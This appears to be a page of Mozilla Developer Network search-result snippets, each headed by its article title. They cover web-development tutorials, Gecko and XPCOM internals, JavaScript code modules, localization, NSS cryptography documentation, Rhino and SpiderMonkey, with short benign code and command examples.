then save pattern.png in the same directory (right click on the image to get an option to save it.) access the different images in the originals directory and save them in the same way; you'll want to save them in a different directory for now, as you'll need to manipulate (some of) them using a graphics editor before they're ready to be used.
...the following subsections detail what you need to do: preparing images using your favourite image editor, create 400px wide and 120px wide versions of: firefox_logo-only_rgb.png firefox-addons.jpg mozilla-dinosaur-head.png call them something sensible, e.g.
... adding a video to the main article content just inside the <article> element (right below the opening tag), embed the youtube video found at https://www.youtube.com/watch?v=ojcncvb1olg, using the appropriate youtube tools to generate the code.
... note: to properly test the srcset/sizes examples, you'll need to upload your site to a server (using github pages is an easy and free solution), then from there you can test whether they are working properly using browser developer tools such as the firefox network monitor.
Making decisions in your code — conditionals - Learn web development
as a final point, you may sometimes see if...else statements written without the curly braces, in the following shorthand style: if (condition) code to run if condition is true else run some other code instead this is perfectly valid code, but using it is not recommended — it is much easier to read the code and work out what is going on if you use the curly braces to delimit the blocks of code, and use multiple lines and indentation.
... there is a way to chain on extra choices/outcomes to your if...else — using else if.
...the following example executes the code inside only if both or statements return true, meaning that the overall and statement will return true: if ((x === 5 || y > 3 || z <= 10) && (loggedin || username === 'steve')) { // run the code } a common mistake when using the logical or operator in conditional statements is to try to state the variable whose value you are checking once, and then give a list of values it could be to return true, separated by || (or) operators.
...the following live example shows a simple theme chooser where the styling for the site is applied using a ternary operator.
Arrays - Learn web development
accessing and modifying array items you can then access individual items in the array using bracket notation, in the same way that you accessed the letters in a string.
... finding the length of an array you can find out the length of an array (how many items are in it) in exactly the same way as you find out the length (in characters) of a string — by using the length property.
...ool,birmingham,leeds,carlisle'; now let's split it at each comma: let myarray = mydata.split(','); myarray; finally, try finding the length of your new array, and retrieving some items from it: myarray.length; myarray[0]; // the first item in the array myarray[1]; // the second item in the array myarray[myarray.length-1]; // the last item in the array you can also go the opposite way using the join() method.
...this can be retrieved using searchinput.value.
Object-oriented JavaScript for beginners - Learn web development
note that they are using their own name value that was assigned to them when they were created; this is one reason why it is very important to use this, so each one uses its own value, and not some other value.
... other ways to create object instances so far we've seen two different ways to create an object instance — declaring an object literal, and using a constructor function (see above).
...you can then add properties and methods to this object using dot or bracket notation as desired; try these examples in your console: person1.name = 'chris'; person1['age'] = 38; person1.greeting = function() { alert('hi!
...i\'m ' + this.name + '.'); } }); using the create() method constructors can help you give your code order—you can create constructors in one place, then create instances as needed, and it is clear where they came from.
The "why" of web performance - Learn web development
with performance as with accessibility, you consider what device a site visitor is using to access the site and the device connection speed.
... imagine loading that same site using tethered mobile data on a 9 year-old ipad while commuting home on public transportation.
...the site will be very slow to load—if it loads at all—with blocking scripts possibly timing out, and adverse cpu impact causing browser crashes if it does load.
... html performance features css performance features fonts and performance mobile performance focusing on performance ...
Ember resources and troubleshooting - Learn web development
using the design patterns provided by the framework, a route using fetch() would look something like this: import route from '@ember/routing/route'; export default class myroute extends route { async model() { let response = await fetch('some/url/to/json/data'); let json = await response.json(); return { data: json }; } } see more information on specifying the route's mod...
... more concretely, using mut allows for template-only settings functions to be declared: <checkbox @value={{this.somedata}} @ontoggle={{fn (mut this.somedata) (not this.somedata)}} /> whereas, without mut, a component class would be needed: import component from '@glimmer/component'; import { tracked } from '@glimmer/tracking'; import { action } from '@ember/object'; export default class example extends component...
... { @tracked somedata = false; @action setdata(newvalue) { this.somedata = newvalue; } } which would then be called in the template like so: <checkbox @data={{this.somedata}} @onchange={{this.setdata}} /> due to the conciseness of using mut, it may be desireable to reach for it.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
React interactivity: Events and state - Learn web development
we can't pass data from child to parent in the same way as we pass data from parent to child using standard props.
... usestate() returns these two things, so we are using array destructuring to capture them both in separate variables.
... make sure you’re in the root directory of your application and run the following terminal command: npm install nanoid note: if you're using yarn, you'll need the following instead: yarn add nanoid now we can import nanoid into the top of app.js so we can use it to create unique ids for our new tasks.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Vue resources - Learn web development
this site provides detailed documentation on using nuxtjs.
...you are required to be explicit about "reactive" properties when using this api.
... vue handles this for you using the options api.
...entization ember interactivity: events, classes and state ember interactivity: footer functionality, conditional rendering routing in ember ember resources and troubleshooting vue getting started with vue creating our first vue component rendering a list of vue components adding a new todo form: vue events, methods, and models styling vue components with css using vue computed properties vue conditional rendering: editing existing todos focus management with vue refs vue resources svelte getting started with svelte starting our svelte todo list app dynamic behavior in svelte: working with variables and props componentizing our svelte app advanced svelte: reactivity, lifecycle, accessibility working with svelte stores ...
Cross browser testing - Learn web development
what browsers, devices, and other segments should you make sure are tested), lo-fi testing strategies (get yourself a range of devices and some virtual machines and do ad-hoc tests when needed), higher tech strategies (automation, using dedicated testing apps), and testing with user groups.
...this includes linting code, handing css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more.
...this includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern javascript features working in older browsers, and more.
... setting up your own test automation environment in this article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node.
Tools and testing - Learn web development
on top of that, we still need to keep cross-browser support in the forefront of our minds, and make sure that our code follows best practices that allow our projects to work across different browsers and devices that our users are using to browse the web, and be usable by people with disabilities.
... working out what tools you should be using can be a difficult process, so we have written this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.
...for example, you'll need to know the fundamentals of these languages before you start debugging problems in complex web code, making effective use of javascript frameworks, or writing tests and running them against your code using test runners.
... modules understanding client-side web development tools client-side tooling can be intimidating, but this series of articles aims to illustrate the purpose of some of the most common client-side tool types, explain the tools you can chain together, how to install them using package managers, and control them using the command line.
Learn web development
this topic provides a general introduction to how the server-side works and detailed tutorials showing how to build up a server-side app using two popular frameworks: django (python) and express (node.js).
... to copy the learning area repo to a folder called learning-area in the current location your command prompt/terminal is pointing to, use the following command: git clone https://github.com/mdn/learning-area you can now enter the directory and find the files you are after (either using your finder/file explorer or the cd command).
... you can update the learning-area repository with any changes made to the master version on github with the following steps: in your command prompt/terminal, go inside the learning-area directory using cd.
... for example, if you were in the parent directory: cd learning-area update the repository using the following command: git pull contact us if you want to get in touch with us about anything, the best way is to drop us a message on our discourse forum.
Gecko info for Windows accessibility vendors
search order if the current item matches your criteria, then return current_item if the current_item == start_item, return null (no item found) if the end has been reached, go back to the start if wrapping is desired, otherwise return null (no item found) go to step 2 checkable, required and invalid states are supported gecko defines three state constants using previously unused states: const unsigned long state_checkable = state_marqueed; // useful on menuitem, listitem // and treeitem.
... role_grouping html: <fieldset> xul: <groupbox> dhtml: role="wairole:group" or dhtml: role="wairole:radiogroup" for a <fieldset> the name is exposed using the <legend> role_separator xul: <separator> html: <hr> dhtml: role="wairole:separator" role_toolbar xul: <toolbar> dhtml: role="wairole:toolbar" role_statusbar xul: <statusbar> role supported?
... using ienumvariant in this way is much faster than getting the children via get_accchild() or accnavigate().
... hresult get_unclippedsubstringbounds( [in] unsigned int startindex, [in] unsigned int endindex, [out] int *x, [out] int *y, [out] int *width, [out] int *height); // scroll to this part of the subsstring hresult scrolltosubstring( [in] unsigned int startindex, [in] unsigned int endindex); // get the current font being used -- this is better than using // the isimpledomnode css property methods, because it provides // a single font name, rather than a comma delineated list of possibilities hresult fontfamily([out] bstr *fontfamily); isimpledomdocument there is one isimpledomdocument interface for each xml or html document in gecko, which you can use to get important information global to the document.
Software accessibility: Where are we today?
select text, pictures, and other information using a mouse react to sounds played.
...some examples of these assistive devices and software include: screen reading software, which speaks text displayed on the screen using hardware or software text-to-speech, and which allows a blind person to use the keyboard to simulate mouse actions alternate input devices, which allow people with physical disabilities to use alternatives to a keyboard and mouse voice recognition software, which allows a person to simulate typing on a keyboard or selecting with a mouse by speaking into the computer screen magnification sof...
...the sticky key technique is utilized by people who have only one usable hand, or who have no use of their hands and type using a stick in their mouth.
... follow the accessible toolkit checklist whenever using xbl to create a new widget.
A bird's-eye view of the Mozilla framework
scripting languages such as javascript cannot directly access xpcom components, but access them indirectly using xpconnect.
... the xpcom component keeps track of all interface pointers currently held by its clients using an internal reference count it increments via client calls to addref().
... xpcom in summary to summarize, the xpcom object model specifies the structure of xpcom components, builds a central registry based on the xpcom components loaded at startup, generates xpcom component instances on demand using the registry, which specifies the supported interfaces, their corresponding implementation objects, and the nsifactory interface, provides api facilities clients can use to dynamically create xpcom components, and specifies the mechanism clients use to query an xpcom component for one of its interfaces, and to release the interface when it’s no longer needed.
...using the database attribute of the xulelement, getlink() obtains an nsirdfcompositedatasource, which presents the individual datasources of the xulelement as a single rdf graph.
Debugging Chrome
--disable-accelerated-2d-canvas will disable gpu canvas google has a page on using pix on chrome.
... unfortunately, it requires using --single-process which crashes on startup for me.
... to work around this i was able to record the gpu commands using apitrace.
... i needed to run chrome using --no-sandbox.
Commenting IDL for better documentation
use doxygen style comments only for information that is directly useful to someone using or implementing the interface.
...using these will help generate much higher quality documentation, faster, with less human intervention required.
...using it will make it easier for documenters.
...using it will make it easier for documenters.
Gecko SDK
be accessed from xul using javascript.
... contents of the sdk the sdk contains the following: 1.9.2 idl files for frozen interfaces (under idl/) header files for frozen interfaces, xpcom functions, and nspr functions (under include/) import libraries or shared libraries (under lib/) static utility libraries (under lib/) various tools (under bin/) for more information about safely linking xpcom components using the xpcom "glue" library, see xpcom glue.
... using the mozilla build system with the sdk it's possible to use the mozilla build system with the sdk.
... this can be done by downloading the source code for firefox and using the --with-libxul-sdk option to configure.
HTML parser threading
parsers created using document.open()) don't have an nshtml5streamparser instance.
...these objects are memory managed as follows: attribute holders (nshtml5htmlattributes objects) are allocated using new by the tokenizer.
...however, when tree ops are executed, every atom has to be tested for being a static atom (using isstaticatom()).
...(this indeed means that removing parser-created nodes from the dom during parsing doesn't release memory until the parser stops parsing, which is, in theory, a problem for long polling using html in an iframe e.g.
HTTP Cache
the cache is using a single background thread where any io operations like opening, reading, writing and erasing happen.
... so that when an entry is beeing looked up, first the global hashtable is searched using the scope key.
...then this entries hashtable is searched using <enhance-id:><uri> string.
... cachestorageservice then generates the scope key using the nsiloadcontextinfo of the storage.
Add-on Manager
installing new add-ons new add-ons can be installed by using the getinstallforfile() or getinstallforurl() methods on the addonmanager object.
...se will pass an addoninstall instance to the callback, which can then be used to install the add-on: components.utils.import("resource://gre/modules/addonmanager.jsm"); addonmanager.getinstallforurl("http://www.foo.com/test.xpi", function(ainstall) { // ainstall is an instance of addoninstall ainstall.install(); }, "application/x-xpinstall"); the progress of addoninstalls can be monitored using an installlistener.
... a listener can be registered either for a specific install using the addlistener() method or for all installs using the addinstalllistener() method.
... finding updates add-ons can be checked for updates using the findupdates() method.
DeferredTask.jsm
the deferredtask constructor requires gecko 18.0(firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) if you have a function call you want to defer for two seconds, you can do so using the deferredtask constructor, like this: var task = new deferredtask(myfunction, 2000); you can also pass a generator function as the first argument of constructor.
...if a special operation or error logging is needed on completion, it can be better handled from within the task itself, for example using a try/catch/finally clause in the task.
... a common use case occurs when a data structure should be saved into a file every time the data changes, using asynchronous calls, and multiple changes to the data may happen within a short time: let savedeferredtask = new deferredtask(function* () { yield os.file.writeatomic(...); // any uncaught exception will be reported.
... for example, during shutdown, you may want to ensure that any pending write is processed, using the latest version of the data if the timer is armed: asyncshutdown.profilebeforechange.addblocker( "example service: shutting down", () => savedeferredtask.finalize() ); instead, if you are going to delete the saved data from disk anyways, you might as well prevent any pending write from starting, while still ensuring that any write that is currently in progress terminates, so that the fi...
Downloads.jsm
example (using task.jsm): try { yield downloads.fetch(sourceuri, targetfile); } catch (ex if ex instanceof downloads.error && ex.becausetargetfailed) { console.log("unable to write to the target file, ignoring the error."); } methods createdownload() creates a new download object.
...for that, you should obtain a reference to a download object using the createdownload() function.
...if a count is needed, it should be maintained using a view on a downloadlist.
... using it in a xul app in a xul standalone application (running with xulrunner or firefox --app), you have to do additionnal things in order to use the new download manager.
Sqlite.jsm
javascript programmers should feel right at home using sqlite.jsm.
... if the original connection is using the shared cache, this parameter will be ignored and the clone will be as privileged as the original connection.
... this example shows multiple rows of a table being returned using the onrow function parameter.
... this example demonstrates retrieving a row without using the onrow function parameter, and instead, using the conn.execute result.
WebRequest.jsm
you can use this api to implement a content policy in an add-on (for example, an ad or script blocker), as you could using nsicontentpolicy.
... some examples of using addlistener().
... see some examples of using filter.
...see modifying headers for an example using this.
XPCOMUtils.jsm
to use this, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/xpcomutils.jsm"); using xpcomutils exposing a javascript class as a component using these utility methods requires four key steps: import xpcomutils.jsm, as explained previously.
... function mycomponent() { // initialize the component here } class declaration declare the class prototype, using a form similar to this.
...using the generateqi helper queryinterface: xpcomutils.generateqi( [components.interfaces.nsiobserver, components.interfaces.nsimyinterface, "nsifoo", "nsibar" ]), // [optional] classinfo implementation, e.g.
... using the generateci helper.
JavaScript code modules
general topics using javascript code modules an introduction to how to use javascript code modules.
... openlocationlasturl.jsm provides access to the last url opened using the "open location" option in the file menu.
... promiseworker.jsm a version of chromeworker which uses promises to return the worker's result instead of using an event to do so.
... task.jsm implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascript's yield operator.
Index
most translation tools support the xliff standard, making localizing the xliff files for firefox for ios easy to do using translation tools.
...the localizable data fields of an extension are: 23 localizing with koala this tutorial will guide you through making a couple of changes to firefox's user interface using koala, an add-on for komodo edit created to help localizing mozilla.
... 27 localizing without a specialized tool from the create a new localization document, an interested localizer can follow a technical step-by-step process that starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code.
...here you'll learn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right back to them.
Localizing extension descriptions
all of the different descriptions now appear in the install.rdf file using em:localized properties.
...the localization information provided by the em:localized property can be overriden using a set of localized preferences as detailed below.
... add the following line to it (where extension_id matches your application id from install.rdf and path_to_localization_file is the chrome path to the localization file you added to earlier): pref("extensions.extension_id.description", "path_to_localization_file"); localizable strings the following add-on metadata can be localized using this process: name description creator homepageurl localizable lists in cases where multiple values can exist, a numeric index is appended to the end of the preference name: extensions.extension_id.contributor.1=first_localized_contributor_name extensions.extension_id.contributor.2=second_localized_contributor_name extensions.extension_id.contributor.3=thrid_localized_contributor_name ...
...pref("extensions.extension_id.contributor.1", "path_to_localization_file"); pref("extensions.extension_id.contributor.2", "path_to_localization_file"); pref("extensions.extension_id.contributor.3", "path_to_localization_file"); the following add-on metadata can be localized using this process: developer translator contributor ...
SVN for Localizers
here you'll learn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right back to them.
...this may seem confusing, but don't fret because we'll make sure to differentiate between the two here: svn server: this is installed on one of mozilla's servers that we use to manage our localizable web system.
... you can also double check your changes using the viewvc interface.
...you should now be able to use svn from the command-line to copy directories from the mozilla repositories, make modifications to those repositories by using svn commands like svn up and svn revert, and finally push your localized work to the mozilla repositories.
Fonts for Mozilla's MathML engine
other systems on other systems, consider installing a math font using your package manager.
...note that using the add-on is not optimal since it forces your gecko browser to load a css stylesheet on each page you visit as well as web math fonts on all pages with mathml content.
... fonts with a math table you can actually render mathml using any font with a math table and related open font format features.
... asana math cambria math dejavu math tex gyre garamond math (under development) latin modern math libertinus math lucida bright math minion math stix math tex gyre bonum math tex gyre pagella math tex gyre schola math tex gyre termes math xits math fira math (sans-serif typeface, under development) gfs neohellenic math (sans-serif typeface) using mathematical fonts on web pages starting with gecko 31.0 (firefox 31.0 / thunderbird 31.0 / seamonkey 2.28), it is now easy to set up the css style (and optional woff fonts) to use on your web site.
DMD
if you are not familiar with that method, you can ignore this parenthetical note.) first make the executable wrapper on your host machine using the editor of your choice.
...if you are using a dmd-enabled try build, or build from other source, adjust the app identifier as necessary.
...you can analyze these files (either gzipped or not) using dmd.py.
...it often helps improve the quality of the output when using a small --max-frames value.
Gecko Profiler FAQ
if the issue you are trying to avoid is not profiling on fast machines that mozilla developers typically use to build firefox on, a better solution may be using a less high-end machine that actually has lower spec’d hardware instead of artificially slowing down just the cpu.
...(see many of the questions above for examples of such limitations.) note that these tools should all be considered as complementary, it’s typical to capture a profile in gecko profiler and based on some investigations decide to delve into some part of it using a native profiler, etc.
... probably by using talos, especially if you want to measure and not profile.
... [ehsan] performance issues are just much easier to spot on slower hardware, so if nothing else, using slower hardware will help you find problems easier.
Refcount tracing and balancing
however, having an nscomptr log and using it in the creation of the balance tree allows addref and release calls that we know are matched to be eliminated from the tree, so it makes it much easier to debug reference count leaks of objects that have a large amount of reference counting traffic.
... xpcom_mem_alloc_log for platforms that don't have stack-crawl support, xpcom supports logging at the call site to addref/release using the usual cpp __file__ and __line__ number macro expansion hackery.
...for example: env xpcom_mem_log_classes=nsdocshell xpcom_mem_refcnt_log=./refcounts.log ./mach run this will log the addref and release calls only for instances of nsdocshell while running the browser using mach, to a file refcounts.log.
...this requires using an xpcom_mem_refcnt_log and an xpcom_mem_comptr_log that were collected at the same time.
about:memory
if you are using a communication channel where files can be sent, such as bugzilla or email, click on the "measure and save..." button.
... if you are using a communication channel where only text can be sent, such as a comment thread on a website, click on the "measure..." button.
... tree paths can be written using '/' as a separator.
... it's clear that the cnn.com tab is using more memory than the techcrunch.com tab, which is using more than the arstechnica.com tab.
Emscripten
generated from c/c++ using clang, or from another language) and compiles that into javascript, which can be run on the web.
... using emscripten, you can compile c and c++ code into javascript compile any other code that can be translated into llvm bytecode into javascript.
... practically any portable c or c++ codebase can be compiled into javascript using emscripten, ranging from high performance games that need to render graphics, play sounds, and load and process files, through to application frameworks like qt.
...read more about emscripten and try some demos, then get started with using it.
Midas
internet explorer also supports the ability to edit specific elements using the contenteditable attribute; starting with firefox 3, gecko also supports contenteditable.
... note: this command won't work without setting a pref or using signed js.
... note: this command won't work without setting a pref or using signed js.
... note: this command won't work without setting a pref or using signed js.
NSS 3.14 release notes
.14, which is a minor release with the following new features: support for tls 1.1 (rfc 4346) experimental support for dtls 1.0 (rfc 4347) and dtls-srtp (rfc 5764) support for aes-ctr, aes-cts, and aes-gcm support for keying material exporters for tls (rfc 5705) in addition to the above new features, the following major changes have been introduced: support for certificate signatures using the md5 hash algorithm is now disabled by default.
... support for application-defined certificate chain validation callback when using libpkix to better support per-application security policies, a new callback has been added for applications that use libpkix to verify certificates.
...chainverifycallback (in certt.h) certchainverifycallbackfunc (in certt.h) cert_pi_chainverifycallback, a new option for certvalparamintype (in certt.h) a new error code: sec_error_application_callback_error (in secerr.h) new for pkcs #11 pkcs #11 mechanisms: ckm_aes_cts ckm_aes_ctr ckm_aes_gcm (see warnings against using c_encryptupdate/c_decryptupdate above) ckm_sha224_key_derivation ckm_sha256_key_derivation ckm_sha384_key_derivation ckm_sha512_key_derivation changes in nss 3.14 bug 333601 - performance enhancements for intel macs when building for intel macs, nss will now take advantage of optimized assembly code for common operations.
...support for md5 may be manually enabled (but is discouraged) by setting the environment variable of "nss_hash_alg_support=+md5" or by using the nss_setalgorithmpolicy function.
NSS Sample Code Sample_3_Basic Encryption and MACing
ll) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (rv != secsuccess) { goto cleanup; } ctxenc = encryptinit(ek, iv, ivlen, ckm_aes_cbc); /* read a buffer of plaintext from input file */ while ((ptextlen = pr_read(infile, ptext, sizeof(ptext))) > 0) { /* encrypt using it using cbc, using previously created iv */ if (ptextlen != blocksize) { paddinglength = blocksize - ptextlen; for ( j=0; j < paddinglength; j++) { ptext[ptextlen+j] = (unsigned char)paddinglength; } ptextlen = blocksize; } rv = encrypt(ctxenc, encbuf, &encbuflen, sizeof(encbuf), ...
...open \"%s\" for writing.\n", outfilename); return secfailure; } rv = macinit(ctxmac); if (rv != secsuccess) goto cleanup; ctxenc = decryptinit(ek, iv, ivlen, ckm_aes_cbc); filelength = filesize(encryptedfilename); while ((ctextlen = pr_read(infile, ctext, sizeof(ctext))) > 0) { count += ctextlen; /* decrypt cipher text buffer using cbc and iv */ rv = decrypt(ctxenc, decbuf, &decbuflen, sizeof(decbuf), ctext, ctextlen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "decrypt failure\n"); goto cleanup; } if (decbuflen == 0) break; rv = macupdate(ctxmac, decbuf, decbuflen); if (rv != secsuccess) { goto cleanup; } if (count =...
... prbool ascii) { /* * the db is open read only and we have authenticated to it * open input file, read in header, get iv and cka_ids of two keys from it * find those keys in the db token * open output file * loop until eof(input): * read a buffer of ciphertext from input file * save last block of ciphertext * decrypt ciphertext buffer using cbc and iv * compute and check mac, then remove mac from plaintext * replace iv with saved last block of ciphertext * write the plain text to output file * close files * report success */ secstatus rv; secitem ivitem; secitem enckeyitem; secitem mackeyitem; secitem cipheritem; ...
... * loop until eof(input) * read a buffer of plaintext from input file * mac it, append the mac to the plaintext * encrypt it using cbc, using previously created iv * store the last block of ciphertext as the new iv * write the cipher text to intermediate file * close files * report success */ secstatus rv; prfiledesc *infile; prfiledesc *headerfile; prfiledesc *encfile; unsigned char *enckeyid = (unsigned char *) "encrypt key"; ...
NSS environment variables
nss_shared_db 3.12 nss_disable_arena_free_list string (any non-empty value) define this variable to get accurate leak allocation stacks when using leak reporting software.
...necessary on some platforms to get correct function names when using leak reporting software.
... nss_force_fips boolean (1 to enable) allows enabling fips mode using nss_fips 3.24 os_target string (target os) for cross-compilation environments only, when the target os is not the default for the system on which the build is performed.
... before 3.0 use_pthreads boolean (1 to enable) on platforms where posix threads are available, but are not the os'es preferred threads library, this tells nss and nspr to build using pthreads.
sslerr.html
upgraded documentation may be found in the current nss reference nss and ssl error codes chapter 8 nss and ssl error codes nss error codes are retrieved using the nspr function pr_geterror.
... ssl_error_unsupported_version -12279 "peer using unsupported version of security protocol." on a client socket, this means the remote server has attempted to negotiate the use of a version of ssl that is not supported by the nss library, probably an invalid version number.
... ssl_error_bad_block_padding -12264 "ssl received a record with bad block padding." ssl was using a block cipher, and the last block in an ssl record had incorrect padding information in it.
... sec_error_decryption_disallowed -8143 cannot decrypt: encrypted using a disallowed algorithm or key size.
NSS Tools crlutil
using the certificate revocation list management tool newsgroup: mozilla.dev.tech.crypto the certificate revocation list (crl) management tool is a command-line utility that can list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...for information on security module database management, see using the security module database tool.
... for information on certificate and key database management, see using the certificate database tool.
... usage the certificate revocation list management tool's capabilities are grouped as follows, using these combinations of options and arguments.
The JavaScript Runtime
execution proceeds by evaluating this compiled form using support routines in rhino.
...(this caveat does not apply to scripts that use liveconnect; the java values are wrapped and unwrapped as appropriate to conform to the above type constraints.) property access properties in javascript objects may be accessed using either string or numeric identifiers.
... the easiest way to define new host objects is by using scriptableobject.defineclass().
... this method defines a set of javascript objects using a java class.
Rhino serialization
so why do we need these specialized stream classes instead of simply using objectoutputstream and objectinputstream?
...by default, scriptableoutputstream excludes all the names defined using context.initstandardobjects.
... if you are using rhino serialization in an environment where you always define, say, a constructor foo, you should add the following code before calling writeobject: out.addexcludedname("foo"); out.addexcludedname("foo.prototype"); this code will prevent foo and foo.prototype from being serialized and will cause references to foo or foo.prototype to be resolved to the objects in the new scope upon deserialization.
...(it might be possible to save the java bytecodes in an array and then load the class upon deserialization, but at best that would eat up a lot of memory for just this feature.) one way around this is to compile the functions using the jsc tool: $ cat f.js function f() { return 3; } $ java -classpath js.jarorg.mozilla.javascript.tools.jsc.main f.js $ cat test2.js loadclass("f"); serialize(f, "f.ser"); g = deserialize("f.ser"); print(g()); $ java -classpath 'js.jar;.'org.mozilla.javascript.tools.shell.main test2.js 3 now the function f is compiled to a java class, but that class is then made available in the classpath so ser...
Rhino shell
defineclass(classname) define an extension using the java class named with the string argument classname.
... readfile(path [, charactercoding]) read given file and convert its bytes to a string using the specified character coding or default character coding if explicit coding argument is not given.
... readurl(url [, charactercoding]) open an input connection to the given string url, read all its bytes and convert them to a string using the specified character coding or default character coding if explicit coding argument is not given.
... js> runcommand('date') thu jan 23 16:49:36 cet 2003 0 // using input option to provide process input js> runcommand("sort", {input: "c\na\nb"}) a b c 0 js> // demo of output and err options js> var opt={input: "c\na\nb", output: 'sort output:\n'} js> runcommand("sort", opt) 0 js> print(opt.output) sort output: a b c js> var opt={input: "c\na\nb", output: 'sort output:\n', err: ''} js> runcommand("sort", "--bad-arg", opt) 2 js> print(opt.err) /bin/sort: unrec...
SpiderMonkey Build Documentation
thus, in addition to following the steps above, you should also create a debug build using these steps: cd js/src # this name should end with "_dbg.obj" to make the version control system ignore it.
... if --enable-nspr-build does not work, explicitly tell configure where to find nspr using the --with-nspr-cflags and --with-nspr-libs configure options.
...for example, if you're using the gnu toolchain, the following will pass the -g3 flag to the compiler, causing it to emit debug information about macros.
... using the js-config script in addition to the spidermonkey libraries, header files, and shell, the spidermonkey build also produces a shell script named js-config which other build systems can use to find out how to compile code using the spidermonkey apis, and how to link with the spidermonkey libraries.
JSNative
vp js::value * the arguments, the this argument, the return-value slot, and the callee function object are accessible through this pointer using macros described below.
... the behavior of a jsnative is implemented using a js::callargs structure added in spidermonkey 17.
...otherwise it should either report an error (using e.g.
... js_reporterror or js_reportoutofmemory) or raise an exception (using js_setpendingexception), and the callback must return false.
JS_ClearContextThread
try to avoid using it.
...there must not be any active or suspended requests using this context.
... the rules for using jscontexts in multiple threads are: each jscontext may only be used by one thread at a time.
... so the usual code for using a jscontext on a thread other than the one where it was created looks like this: void mythread(jscontext *cx) { js_setcontextthread(cx); /* note: outside the request */ js_beginrequest(cx); ...
JS_ClearNewbornRoots
try to avoid using it.
... description the last gc thing of each type (object, string, double, external string types) created on a given context is kept alive until another thing of the same type is created, using a newborn root in the context.
... these newborn roots help native code protect newly-created gc-things from gc invocations activated before those things can be rooted using local or global roots.
...using js_enterlocalrootscope disables updating of the context's per-gc-thing-type newborn roots, until control flow unwinds and leaves the outermost nesting local root scope.
Shell global objects
the cache entry is filled and read by the evaluate function by using it in place of the source, and by setting savebytecode and loadbytecode options.
... callfunctionwithasyncstack(function, stack, asynccause) call function, using the provided stack as the async stack responsible for the call, and propagate its return value or the exception it throws.
... readspsprofilingstack() reads the jit stack using profilingframeiterator.
... serialize(data, [transferables, [policy]]) serialize data using js_writestructuredclone.
TPS Bookmark Lists
the uri, title, loadinsidebar, description, tags, keyword properties above, plus two additional properties: location: the full path of the folder that the bookmark should be moved to position: the title of the existing bookmark item, in the current folder, where this bookmark should be moved to (i.e., this bookmark would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { uri: "http://www.google.com", title: "google", loadinsidebar: false, tags: [ "google", "computers", "misc" ] } livemark objects valid properties are: livemark: the livemark name.
...es for this object include the livemark, siteuri, feeduri properties above, plus two additional properties: location: the full path of the folder that the livemark should be moved to position: the title of the existing bookmark item, in the current folder, where this livemark should be moved to (i.e., this livemark would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below the current one) example: { livemark: "livemarkone", feeduri: "http://rss.wunderground.com/blog/jeffmasters/rss.xml", siteuri: "http://www.wunderground.com/blog/jeffmasters/show.html" } folder objects valid properties are: folder: the folder's name.
...the properties for this object include the folder, description properties above, plus two additional properties: location: the full path of the folder that this folder should be moved to position: the title of the existing bookmark item, in the current folder, where this folder should be moved to (i.e., this folder would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below this folder) example: { folder: "folderb", changes: { location: "menu/foldera", folder: "folder b", description: "folder description" } } separator objects valid properties are: separator: true, always set for separators before: the title of the bookmark item expected to be found before this separator; used only in verify and modify action...
...the properties for this object are: location: the full path of the folder that this separator should be moved to position: the title of the existing bookmark item, in the current folder, where this separator should be moved to (i.e., this separator would be inserted into the bookmark list at the position of the named bookmark, causing that bookmark to be positioned below this separator) example: { separator: true } bookmark lists and phase actions following are the functions you can use in phase actions related to bookmarks: bookmarks.add - the bookmark items in the list are added to the end of their parent folder in the specified order.
Setting up an update server
now that you have a build of firefox capable of using a locally-built mar, it's time to build the mar.
... <?xml version="1.0" encoding="utf-8"?> <updates> <update type="minor" displayversion="2000.0a1" appversion="2000.0a1" platformversion="2000.0a1" buildid="21181002100236"> <patch type="complete" url="http://127.0.0.1:8000/<mar name>" hashfunction="sha512" hashvalue="<hash>" size="<size>"/> </update> </updates> if you've downloaded the mar you're using, you'll find the sha512 value in a file called sha512sums in the root of the release directory on archive.mozilla.org for a release or beta build (you'll have to search it for the file name of your mar, since it includes the sha512 for every file that's part of that release), and for a nightly build you'll find a file with a .checksums extension adjacent to your mar that contains that information...
...this is the python2 command: python -m simplehttpserver 8000 or, this is the python3 command: python3 -m http.server 8000 if you aren't sure that you started the server correctly, try using a web browser to navigate to http://127.0.0.1:8000/update.xml and make sure that you get the xml file you created earlier.
...the policy file location depends on the operating system you are using.
Feed content access API
loading the feed and sending it to the parser is done using code similar to this: fetch: function(feedurl) { var httprequest = null; function inforeceived() { var data = httprequest.responsetext; var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var uri = ioservice.newuri(feedurl, null, null); if (data.leng...
